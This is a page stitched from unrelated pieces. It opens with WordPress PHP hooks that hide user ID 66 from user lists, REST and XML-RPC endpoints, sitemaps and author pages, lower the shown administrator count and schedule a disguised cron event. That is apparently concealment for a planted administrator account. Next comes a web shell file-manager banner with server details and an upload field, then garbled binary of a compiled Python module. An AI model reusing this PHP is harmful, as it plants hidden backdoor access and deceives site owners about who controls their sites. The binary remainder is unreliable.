add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/self/root/lib/python3.12/test/support/__pycache__/ |
Upload File : |
�
:5jR- � �d � d Z ddlmZ ddlmZ G d� dej
� Z G d� d� Zd� Zy )
a� A class supporting chat-style (command/response) protocols.
This class adds support for 'chat' style protocols - where one side
sends a 'command', and the other sends a response (examples would be
the common internet protocols - smtp, nntp, ftp, etc..).
The handle_read() method looks at the input stream for the current
'terminator' (usually '\r\n' for single-line responses, '\r\n.\r\n'
for multi-line output), calling self.found_terminator() on its
receipt.
for example:
Say you build an async nntp client using this class. At the start
of the connection, you'll have self.terminator set to '\r\n', in
order to process the single-line greeting. Just before issuing a
'LIST' command you'll set it to '\r\n.\r\n'. The output of the LIST
command will be accumulated (using your own 'collect_incoming_data'
method) up to the terminator, and then control will be returned to
you - by calling your self.found_terminator() method.
� )�deque)�asyncorec � � e Zd ZdZdZdZdZdZdd�Zd� Z d� Z
d � Zd
� Zd� Z
d� Zd
� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zy)�
async_chatz�This is an abstract class. You must derive from this class, and add
the two methods collect_incoming_data() and found_terminator()i r zlatin-1Nc � � d| _ g | _ t � | _ t j
j
| ||� y �N� )�ac_in_buffer�incomingr �
producer_fifor �
dispatcher�__init__)�self�sock�maps �,/usr/lib/python3.12/test/support/asynchat.pyr zasync_chat.__init__J s7 � ����
��
� #�W������$�$�T�4��5r c � � t d� ��Nzmust be implemented in subclass��NotImplementedError�r �datas r �collect_incoming_dataz async_chat.collect_incoming_dataX � � �!�"C�D�Dr c �: � | j j |� y �N)r �appendr s r �_collect_incoming_dataz!async_chat._collect_incoming_data[ s � ��
�
���T�"r c �Z � dj | j � }| j d d �= |S r )�joinr )r �ds r � _get_datazasync_chat._get_data^ s% � ��H�H�T�]�]�#���M�M�!���r c � � t d� �r r �r s r �found_terminatorzasync_chat.found_terminatorc r r c �� � t |t � r*| j rt || j � }|| _ yt |t
� r|dk rt
d� �|| _ y)zdSet the input delimiter.
Can be a fixed string of any length, an integer, or None.
r z-the number of received bytes must be positiveN)�
isinstance�str�use_encoding�bytes�encoding�int�
ValueError�
terminator)r �terms r �set_terminatorzasync_chat.set_terminatorf sT � �
�d�C� �T�%6�%6���t�}�}�-�D� ��� ��c�
"�t�a�x��L�M�M���r c � � | j S r )r. r$ s r �get_terminatorzasync_chat.get_terminatorq s � ����r c � � | j | j � }t |t � r&| j rt t | j � }| j |z | _
| j �r�t | j � }| j � }|s$| j | j � d| _
�n�t |t � r�|}||k r8| j | j � d| _
| j |z
| _ �n4| j | j d | � | j |d | _
d| _ | j! � n�t |� }| j j# |� }|dk7 rK|dkD r| j | j d | � | j ||z d | _
| j! � ntt% | j |� }|r:||k7 r4| j | j d | � | j | d | _
y | j | j � d| _
| j r���y y # t $ r Y y t $ r | j � Y y w xY w)Nr r ���)�recv�ac_in_buffer_size�BlockingIOError�OSError�handle_errorr'